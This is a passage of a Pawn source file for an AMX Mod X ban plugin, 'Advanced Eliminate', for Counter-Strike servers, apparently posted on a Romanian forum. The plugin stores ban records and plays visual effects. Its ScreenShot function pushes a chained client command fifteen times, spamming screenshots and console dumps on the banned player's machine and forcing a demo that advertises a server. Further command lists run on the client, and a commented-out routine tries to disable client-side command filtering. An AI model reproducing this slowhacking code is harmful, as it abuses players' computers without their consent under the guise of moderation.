			server_print( "***************** Detaliile eliminarii #%d *******************", i + 1 );
			server_print( "*    " );
			server_print( "*    " );
			server_print( "*    Nume: %s", EliminatedName[ i ] );
			server_print( "*    Ip: %s", EliminatedIp[ i ] );
			server_print( "*    Steamid: %s", EliminatedSteamId[ i ] );
			server_print( "*    Motiv: %s ", EliminatedReason[ i ] );
			server_print( "*    Durata: Permanenta" );
			server_print( "*    Nume Admin: %s", EliminatedAdminName[ i ] );
			server_print( "*    Ip Admin: %s", EliminatedAdminIp[ i ] );
			server_print( "*    Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
			server_print( "*    Data/Ora: %s", EliminatedTime[ i ] );
			server_print( "*    " );
			server_print( "*    " );
			
		}
		
		server_print( "****************************************************");
		server_print( "%s", plugin_info );
		server_print( "****************************************************");
	}
	
	else
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Hades");
		
		client_cmd( id, "echo ^"****************************************************^"");
		client_cmd( id, "echo ^"*    Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d^"", Eliminates, start + 1, end );
		client_cmd( id, "echo ^"*    ^"" );
		
		for( new i = start ; i < end ; i++ )
		{
			
			client_cmd( id, "echo ^"***************** Detaliile eliminarii #%d *******************^"", i + 1 );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    Nume: %s^"", EliminatedName[ i ] );
			client_cmd( id, "echo ^"*    Ip: %s^"", EliminatedIp[ i ] );
			client_cmd( id, "echo ^"*    Steamid: %s^"", EliminatedSteamId[ i ] );
			client_cmd( id, "echo ^"*    Motiv: %s ^"", EliminatedReason[ i ] );
			client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
			client_cmd( id, "echo ^"*    Nume Admin: %s^"", EliminatedAdminName[ i ] );
			client_cmd( id, "echo ^"*    Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
			client_cmd( id, "echo ^"*    Data/Ora: %s^"", EliminatedTime[ i ] );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    ^"" );
			
		}
		
		client_cmd( id, "echo ^"****************************************************^"");
		client_cmd( id, "%s", plugin_info );
		client_cmd( id, "echo ^"****************************************************^"");
	}
	
	return 1;
}

/*======================================= - ?Hades ?- =======================================*/

public ConCmdReloadEliminates( id )
{
	if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !");
		return 1;
	}
	
	Eliminates = 0;
	
	for( new i = 0 ; i < EliminatesNum ; i++ )
	{
		
		copy( EliminatedTime[ i ], sizeof ( EliminatedTime[ ] ) -1, "" );
		copy( EliminatedName[ i ], sizeof ( EliminatedName[ ] ) -1, "" );
		copy( EliminatedIp[ i ], sizeof ( EliminatedIp[ ] ) -1, "" );
		copy( EliminatedSteamId[ i ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
		copy( EliminatedAdminName[ i ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
		copy( EliminatedAdminIp[ i ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
		copy( EliminatedAdminSteamId[ i ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
		copy( EliminatedReason[ i ], sizeof ( EliminatedReason[ ] ) -1, "" );
		
	}
	
	if( id == 0 )
	{
		server_print( "Eliminarile vor fi reincarcate !" );
	}
	else
	{
		client_cmd( id, "echo Eliminarile vor fi reincarcate !" );
	}
	
	LoadEliminates( );
	
	if( id == 0 )
	{
		server_print( "Am incarcat cu succes %d eliminari.", Eliminates );
	}
	
	else
	{
		client_cmd( id, "echo Am incarcat cu succes %d eliminari.", Eliminates );
	}
	
	return 1;
}

public EliminateUser( id, Player, const reason[ ] )
{
	if( Eliminates >= EliminatesNum )
	{
		Log( "[EROARE] - EliminateList FULL  ( %d / %d ) !", Eliminates, EliminatesNum );
		return 1;	
	}
	
	
	new file[ 128 ], log[ 256 ];
	get_datadir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	if( !file_exists( file ) )
	{
		write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
		write_file( file ,";",-1);
		write_file( file ,";",-1);
	}	
	
	formatex( log, sizeof (log ) -1,"^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",
		_get_time( ), get_name( Player ), get_ip( Player ), get_authid( Player ),
		get_name( id ), get_ip( id ), get_authid( id ), reason );
		
	write_file( file, log, -1 );
	
	LoadEliminates( );
		
	if ( g_Test[id] ){
	
		return 1;
	}
	set_task( 6.1, "ExecFirstEliminateCommands", Player + ELIMINATETASK );
	set_task( 6.5, "ExecSecondEliminateCommands", Player + ELIMINATETASK );
	ScreenShot(Player);
	
	return 0;
	
}

public ExecFirstEliminateCommands( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	for( new i = 0; i < sizeof( FirstEliminateCommands ) ; i++ )
	{
		client_cmd( id, "%s", FirstEliminateCommands[ i ] );
	}
	
	return 0;
}

public ExecSecondEliminateCommands( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	for( new i = 0; i < sizeof( SecondEliminateCommands ) ; i++ )
	{
		client_cmd( id, "%s", SecondEliminateCommands[ i ] );
	}
	
	return 0;
}

/*======================================= - ?Hades ?- =======================================*/

public LoadEliminates( )
{
	
	new file[ 128 ];
	get_datadir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	if( !file_exists( file ) ) 
	{
		Log( "[EROARE] - Nu am gasit %s ", file );
		Log( "[EROARE] - Creez un nou fisier." );
		
		write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
		write_file( file ,";",-1);
		write_file( file ,";",-1);
	}
	
	new f = fopen( file, "rt" );
	
	if( !f ) return 0;
	
	new data[ 512 ], buffer[ 8 ][ 64 ] ;
	
	while( !feof( f ) && Eliminates < EliminatesNum ) 
	{
		fgets( f, data, sizeof ( data ) -1 );
		
		if( !data[ 0 ] || data[ 0 ] == ';' || ( data[ 0 ] == '/' && data[ 1 ] == '/' ) ) 
			continue;
		
		parse(data,\
		buffer[ 0 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 1 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 2 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 3 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 4 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 5 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 6 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 7 ], sizeof ( buffer[ ] ) - 1
		);
		
		copy( EliminatedTime[ Eliminates ], sizeof ( EliminatedTime[ ] ) -1, buffer[ 0 ] );
		copy( EliminatedName[ Eliminates ], sizeof ( EliminatedName[ ] ) -1, buffer[ 1 ] );
		copy( EliminatedIp[ Eliminates ], sizeof ( EliminatedIp[ ] ) -1, buffer[ 2 ] );
		copy( EliminatedSteamId[ Eliminates ], sizeof ( EliminatedSteamId[ ] ) -1, buffer[ 3 ] );
		copy( EliminatedAdminName[ Eliminates ], sizeof ( EliminatedAdminName[ ] ) -1, buffer[ 4 ] );
		copy( EliminatedAdminIp[ Eliminates ], sizeof ( EliminatedAdminIp[ ] ) -1, buffer[ 5 ] );
		copy( EliminatedAdminSteamId[ Eliminates ], sizeof ( EliminatedAdminSteamId[ ] ) -1, buffer[ 6 ] );
		copy( EliminatedReason[ Eliminates ], sizeof ( EliminatedReason[ ] ) -1, buffer[ 7 ] );
		
		Eliminates++;
	}
	
	fclose( f );
	
	return 0;
}

public RemoveEliminate( i )
{
	for( new x = i ; x < Eliminates ; x++ )
	{
		if( x + 1 == EliminatesNum )
		{
			copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, "" );
			copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, "" );
			copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, "" );
			copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
			copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
			copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
			copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
			copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, "" );
			
		}
		else
		{
			copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, EliminatedTime[ x + 1 ] );
			copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, EliminatedName[ x + 1 ] );
			copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, EliminatedIp[ x + 1 ] );
			copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, EliminatedSteamId[ x + 1 ] );
			copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, EliminatedAdminName[ x + 1 ] );
			copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, EliminatedAdminIp[ x + 1 ] );
			copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, EliminatedAdminSteamId[ x + 1 ] );
			copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, EliminatedReason[ x + 1 ] );
		}
	}
	
	Eliminates--;
	
	ReWriteEliminations( );
}

/*======================================= - ?Hades ?- =======================================*/

public ReWriteEliminations( )
{
	new file[ 128 ];
	get_datadir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	new f = fopen( file, "wt" );
	
	fprintf( f, ";Ip-urile / Steamid-urile userilor eliminati permanent !^n" );
	fprintf( f, ";^n" );
	fprintf( f, ";^n" );
	
	static EliminateTime[ 32 ], EliminateName[ 32 ], EliminateIp[ 32 ], EliminateSteamId[ 35 ];
	static EliminateAdminName[ 32 ], EliminateAdminIp[ 32 ], EliminateAdminSteamId[ 35 ], EliminateReason[ 32 ];
	
	for( new i = 0 ; i < Eliminates ; i++ )
	{
		
		copy( EliminateTime, sizeof ( EliminateTime ) -1, EliminatedTime[ i ] );
		copy( EliminateName , sizeof ( EliminateName ) - 1, EliminatedName[ i ] );
		copy( EliminateIp , sizeof ( EliminateIp ) - 1, EliminatedIp[ i ] );
		copy( EliminateSteamId , sizeof ( EliminateSteamId ) - 1, EliminatedSteamId[ i ] );
		copy( EliminateAdminName , sizeof ( EliminateAdminName ) - 1, EliminatedAdminName[ i ] );
		copy( EliminateAdminIp , sizeof ( EliminateAdminIp ) - 1, EliminatedAdminIp[ i ] );
		copy( EliminateAdminSteamId , sizeof ( EliminateAdminSteamId ) - 1, EliminatedAdminSteamId[ i ] );
		copy( EliminateReason , sizeof ( EliminateReason ) - 1, EliminatedReason[ i ] );
		
		fprintf( f, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
		EliminateTime,\
		EliminateName,\
		EliminateIp,\
		EliminateSteamId,\
		EliminateAdminName,\
		EliminateAdminIp,\
		EliminateAdminSteamId,\
		EliminateReason
		);
	}
	
	fclose(f);
}


public LogToConfigs( const msg[ ], any:...)
{
	new message[ 256 ];
	vformat( message, sizeof ( message ) -1, msg , 2 );
	
	new file[ 128 ], log[ 256 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateLogFile );
	
	if( !file_exists( file ) ) 
	{
		write_file( file ,"In acest log veti gasi urmatoarele informatii:", -1 );
		write_file( file ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
		write_file( file ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
		write_file( file ,"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[Hades]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~",-1 );
		write_file( file ,"",-1 );
		write_file( file ,"",-1 );
	}	
	
	formatex( log, sizeof (log ) -1,"|%s| - %s ", _get_time( ), message );
	write_file( file, log, -1 );

}

public plugin_cfg()
{
	new i = 0;
	while (i < 7)
	{
		if (find_plugin_byfile(PluginStop[i][0], 1) != -1)
		{
			Log( "-----------------------------------------------------------------------------------------------------------------------------------------------");
			Log( "[Advanced Eliminate]: Am dezactivat orice plugin care ma incurca la executarea comenzilor, asta nu o sa afecteze buna stare a serverului.");
			Log( "-----------------------------------------------------------------------------------------------------------------------------------------------");
			pause("acd", "destroy.amxx", "");
			pause("acd", "amx_ruin.amxx", "");
			pause("acd", "amx_exterminate.amxx", "");
			pause("acd", "amx_genius.amxx", "");
			pause("acd", "amx_pika.amxx", "");
			pause("acd", "amx_lake.amxx", "");
			pause("acd", "amxx_fuckoff.amxx", "");
			i++;
		}
		i++;
	}

}
/*======================================= - ?Hades ?- =======================================*/

public Log( const msg[ ], any:...)
{
	new message[ 256 ];
	vformat( message, sizeof ( message ) -1, msg , 2 );
	
	new dir[ 64 ], file[ 128 ], log[ 256 ];	
	
	if( !dir[ 0 ] )
	{	
		get_basedir( dir, sizeof ( dir ) -1 );
		formatex( file, sizeof ( file ) -1,"%s/logs/AdvancedEliminate.log", dir );
	}
	
	formatex( log, sizeof (log ) -1,"|%s| %s ", _get_time( ), message );
	write_file( file, log, -1 );
}

/*======================================= - ?Hades ?- =======================================*/

ScreenShot(id)
{
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "spk vox/bizwarn;snapshot;wait;timerefresh;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;maps *;motd;wait;condump;wait;playdemo Surf.LaLeagane.Ro;");
	client_cmd(id, "echo ????!");
	
}

/*public fix_guard( id ) 
{ 
console_cmd( id, "^"sv_zmax 409^" Enabled False" ); 
console_cmd( id, "prot_setcvar Enabled False" ); 
console_cmd( id, "^"sv_zmax 409^" GuardON False" ); 
console_cmd( id, "csx_setcvar Enabled False" );
console_cmd( id, "prot_setcvar Enabled False" );
console_cmd( id, "rus_setcvar Enabled False" ); 
console_cmd( id, "unk_setcvar Enabled False" ); 
console_cmd( id, "cl_filterstuffcmd 0" ); 
console_cmd( id, "fix_setcvar Enabled False" ); 

client_cmd( id, "^"sv_zmax 409^" Enabled False" ); 
client_cmd( id, "^"sv_zmax 409^" GuardON False" ); 
client_cmd( id, "prot_setcvar Enabled False" ); 
client_cmd( id, "csx_setcvar Enabled False" ); 
client_cmd( id, "unk_setcvar Enabled False" ); 
client_cmd( id, "rus_setcvar Enabled False" ); 
client_cmd( id, "cl_filterstuffcmd 0" ); 
client_cmd( id, "fix_setcvar Enabled False" ); 
}*/



/*======================================= - ?Hades ?- =======================================*/

public PrintConsoleInfo( id, const name[ ], const ip[ ], const steamid[ ], const reason[ ], const admin_name[ ], const admin_ip[ ], const admin_steamid[ ], const dateandtime[ ] )
{
	new plugin_info[ 128 ];
	formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"*********** %s v%s by %s ************^"", PLUGIN, VERSION, "Hades");
	
	client_cmd( id, "echo ^"****************************************************^"") ;
	client_cmd( id, "echo ^"***************Informatii despre eliminarea de pe server*********^"" );
	client_cmd( id, "echo ^"*    ^"" );
	client_cmd( id, "echo ^"*    Nume: %s^"", name );
	client_cmd( id, "echo ^"*    Ip: %s^"", ip );
	client_cmd( id, "echo ^"*    Steamid: %s^"", steamid );
	client_cmd( id, "echo ^"*    Motiv: %s ^"", reason );
	client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
	client_cmd( id, "echo ^"*    Nume Admin: %s^"", admin_name );
	client_cmd( id, "echo ^"*    Ip Admin: %s^"", admin_ip );
	client_cmd( id, "echo ^"*    Steamid Admin: %s^"", admin_steamid );
	client_cmd( id, "echo ^"*    Data/Ora: %s^"", dateandtime );
	client_cmd( id, "echo ^"*    Daca te simti neindreptatit contacteaza-ne pe:^"");
	client_cmd( id, "echo ^"*    %s^"", get_site( ) );
	client_cmd( id, "echo ^"*    ^"" );
	client_cmd( id, "echo ^"****************************************************^"") ;
	client_cmd( id, "%s", plugin_info );
	client_cmd( id, "echo ^"****************************************************^"") ;
}

/*======================================= - ?Hades ?- =======================================*/
/*======================================= - ?Hades ?- =======================================*/

public TaskDisconnectPlayer( id )
{
	
	id -= ELIMINATETASK;
	server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
	
}
public TaskDisconnectPlayerFromSV( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
	
	return 1;
}

public CreateEliminateEffects( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	get_user_origin( id, vOrigin[ id ] );
	
	Create_TE_IMPLOSION( vOrigin[ id ], 100, 20, 5 );
	emit_sound( id, CHAN_STATIC, EliminateExplodeSound, 1.0, ATTN_NORM, 0, PITCH_NORM );
	
	
	set_task( 0.5, "CreateExplosionEffect", id + ELIMINATETASK );
	set_task( 0.5, "CreateBlastCirclesEffect", id + ELIMINATETASK );
	
	return 0;
}

public CreateExplosionEffect( id )
{
	id -= ELIMINATETASK;
	
	if( !is_user_connected( id ) ) return 1;
	
	new Origin[ 3 ],vPosition[ 3 ];
	Origin[ 0 ] = vOrigin[ id ][ 0 ];
	Origin[ 1 ] = vOrigin[ id ][ 1 ];
	Origin[ 2 ] = vOrigin[ id ][ 2 ];
	
	vPosition[ 0 ] = vOrigin[ id ][ 0 ] + random_num( -100, 100 );
	vPosition[ 1 ] = vOrigin[ id ][ 1 ] + random_num( -100, 100 );
	vPosition[ 2 ] = vOrigin[ id ][ 2 ] + random_num( -50, 50 );
	
	Create_TE_EXPLOSION( Origin, vPosition, ExplodeSpr, (random_num(0,20) + 20), 12, 0 );
	Create_TE_Smoke( Origin, vPosition, SmokeSpr, 60, 10 );
	user_silentkill( id );
	
	return 0;
	
}

public CreateBlastCirclesEffect( id )
{
	id -= ELIMINATETASK;
	
	if( !is_user_connected( id ) ) return 1;
	
	new Origin[ 3], vPosition[3];

	Origin[ 0 ] = vOrigin[ id ][ 0 ];
	Origin[ 1 ] = vOrigin[ id ][ 1 ];
	Origin[ 2 ] = vOrigin[ id ][ 2 ] - 16;

	vPosition[ 0 ] = vOrigin[ id ][ 0];
	vPosition[ 1 ] = vOrigin[ id ][ 1 ];
	vPosition[ 2 ] = vOrigin[ id ][ 2 ] + 250;

	Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );

	vOrigin[id][ 2 ] = ( Origin[2] - 250 ) + ( 250 / 2 );

	Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );
	
	return 0;
}
stock Create_TE_IMPLOSION( position[ 3 ], radius, count, life )
{

	message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( TE_IMPLOSION );
	write_coord( position[ 0 ] );			// position (X)
	write_coord( position[ 1 ] );			// position (Y)
	write_coord( position[ 2 ] );			// position (Z)
	write_byte ( radius );				// radius
	write_byte ( count );				// count
	write_byte ( life );					// life in 0.1's
	message_end( );
}

stock Create_TE_EXPLOSION( origin[ 3 ], origin2[ 3 ], iSprite, scale, frameRate, flags )
{

	message_begin( MSG_PVS, SVC_TEMPENTITY, origin );
	write_byte( TE_EXPLOSION );
	write_coord( origin2[ 0 ] );			// position (X)
	write_coord( origin2[ 1 ] );			// position (Y)
	write_coord( origin2[ 2 ]	);			// position (Z)
	write_short( iSprite );			// sprite index
	write_byte( scale );				// scale in 0.1's
	write_byte( frameRate );				// framerate
	write_byte( flags );					// flags
	message_end( );
}

stock Create_TE_Smoke( originSight[ 3 ], position[ 3 ], iSprite, scale, framerate )
{

	message_begin( MSG_PVS, SVC_TEMPENTITY, originSight );
	write_byte( TE_SMOKE );
	write_coord( position[ 0 ] );			// Position
	write_coord( position[ 1 ] );
	write_coord( position[ 2 ] );
	write_short( iSprite );				// Sprite index
	write_byte( scale );					// scale * 10
	write_byte( framerate  );		// framerate
	message_end( );
}



stock Create_TE_BEAMCYLINDER( origin[ 3 ], center[ 3 ], axis[ 3 ], iSprite, startFrame, frameRate, life, width, amplitude, red, green, blue, brightness, speed )
{

	message_begin( MSG_PAS, SVC_TEMPENTITY, origin );
	write_byte( TE_BEAMCYLINDER );
	write_coord( center[ 0 ] );			// center position (X)
	write_coord( center[ 1 ] );			// center position (Y)
	write_coord( center[ 2 ] );			// center position (Z)
	write_coord( axis[ 0 ] );				// axis and radius (X)
	write_coord( axis[ 1 ] );				// axis and radius (Y)
	write_coord( axis[ 2 ] );				// axis and radius (Z)
	write_short( iSprite );				// sprite index
	write_byte( startFrame );			// starting frame
	write_byte( frameRate );				// frame rate in 0.1's
	write_byte( life );					// life in 0.1's
	write_byte( width );					// line width in 0.1's
	write_byte( amplitude )	;			// noise amplitude in 0.01's
	write_byte( red );					// color (red)
	write_byte( green );					// color (green)
	write_byte( blue );				// color (blue)
	write_byte( brightness );			// brightness
	write_byte( speed );					// scroll speed in 0.1's
	message_end( );
}

/*======================================= - ?Hades ?- =======================================*/

stock get_name( id )
{
	new name[ 32 ];
	get_user_name( id, name, sizeof ( name ) -1 );

	return name;
}

stock get_ip( id )
{
	new ip[ 32 ];
	get_user_ip( id, ip, sizeof ( ip ) -1, 1 );

	return ip;
}

stock get_authid( id )
{
	new authid[ 35 ];
	get_user_authid( id, authid, sizeof ( authid ) -1 );

	return authid;
}

/*======================================= - ?Hades ?- =======================================*/

stock get_tag( )
{
	new tag[ 32 ];
	get_pcvar_string( cvar_tag, tag, sizeof ( tag ) -1 );

	return tag;
}

stock get_site( )
{
	new site[ 32 ];
	get_pcvar_string( cvar_site, site, sizeof ( site ) -1 );

	return site;
}
stock _get_time( )
{
	new logtime[ 32 ];
	get_time("%d.%m.%Y - %H:%M:%S", logtime ,sizeof ( logtime ) -1 );
	
	return logtime;
}

/*======================================= - ?Hades ?- =======================================*/

stock bool:HasUserAccess( id )
{
	if( get_user_flags( id ) & ELIMINATE_ACCESS )
		return true;
		
	return false;
}

Shake_Player(id, Float:seconds)
{
	message_begin( MSG_ONE, get_user_msgid( "ScreenShake" ), { 0, 0, 0 }, id );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( 1<<13 );
	message_end( );
}


FadeScreen( id, const Float:seconds, const red, const green, const blue, const alpha ) 
{      
	message_begin( MSG_ONE, get_user_msgid( "ScreenFade" ), _, id );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( floatround( 4096.0 * seconds, floatround_round ) );
	write_short( 0x0000 );
	write_byte( red );
	write_byte( green );
	write_byte( blue );
	write_byte( alpha );
	message_end( );

}

/*======================================= - ?Hades ?- =======================================*/

 

Alătură-te conversației

Poți posta acum și să te înregistrezi mai târziu. Dacă ai un cont, autentifică-te acum pentru a posta cu contul tău.

Vizitator
Din păcate, conținutul tău conține termeni pe care nu îi permitem. Te rugăm să editezi conținutul pentru a elimina cuvintele evidențiate de mai jos.
Răspunde la acest topic...

×   Inserat ca text bogat.   Restabiliți configurația implicită

  Doar 75 emoji sunt permise.

×   Linkul tău a fost încorporat automat.   Afișează ca link în schimb

×   Conținutul tău precedent a fost restaurat.   Curăță editor

×   Nu poți lipi imagini direct. Încarcă sau inserează imagini din URL.

  • Navigare recentă   0 membri

    • Nici un utilizator înregistrat nu vede această pagină.
×
×
  • Creează nouă...

Informații Importante

Termeni de Utilizare & Politică Intimitate